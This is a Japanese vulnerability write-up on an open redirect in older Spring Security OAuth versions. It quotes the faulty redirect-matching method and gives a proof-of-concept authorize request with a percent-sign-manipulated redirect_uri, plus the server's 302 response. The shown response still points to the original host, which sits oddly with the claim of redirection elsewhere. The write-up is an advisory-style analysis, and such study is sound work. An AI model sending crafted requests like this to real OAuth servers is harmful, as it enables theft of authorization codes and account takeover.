
Spring Security OAuth 2.3 Open Redirection 分析再現編
Spring Security OAuth 2.3 Open Redirection 分析再現編
Spring Security OAuth バージョン2.3(2.3.6未満)、2.2(2.2.5未満)、2.1(2.1.5未満)、2.0(2.0.18未満)、およびサポート終了の古いバージョンは、オープンリダイレクタ攻撃を受けやすく、認可コードが漏洩する可能性があります。悪意のあるユーザーや攻撃者は、認可コード付与タイプを使用して認可エンドポイントへのリクエストを作成し、redirect_uriパラメータを介して操作されたリダイレクトURIを指定することができます。これにより、認可サーバーは、漏洩した認可コードとともにリソースオーナーのユーザーエージェントを攻撃者の管理下にあるURIにリダイレクトする可能性があります。
#脆弱性: 攻撃者はREDIRECT_URIパラメータを操作することで、実際に検証をバイパスできます。
脆弱性の原因となるコードは、org.springframework.security.oauth2.provider.endpointパッケージにあります。 クラス: DefaultRedirectResolver のメソッド obtainMatchingRedirect は適切なサニタイズを行っていません。
/**
登録されたURIのセットから、リクエストされたURIに一致するものを検索しようとします。
@param redirectUris 一致を探すための登録されたURIのセット。nullまたは空であってはなりません。
@param requestedRedirect リクエストの一部として使用されたURI
@return 一致したURI
@throws RedirectMismatchException 一致するものが見つからなかった場合 */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) { return redirectUris.iterator().next(); } for (String redirectUri : redirectUris) { if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) { return requestedRedirect; } } throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect + " does not match one of the registered values: " + redirectUris.toString()); }
#POC攻撃ベクトル ユーザーがログインした後にクライアントアプリケーションが行う以下のリクエストには、REDIRECT_URIパラメータが含まれています。パーセント記号を単純に追加することで検証がバイパスされ、RedirectMismatchExceptionエラーの代わりにリダイレクトがトリガーされます。
有効なURIを含む元のリクエスト: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
攻撃者は、例えばパーセント記号を追加することで、URIを別のサーバーに完全に変更してアプリケーションを騙します:
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
応答は、期待されるOAuthエラーを生成せず、代わりにユーザーをリダイレクトします:
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close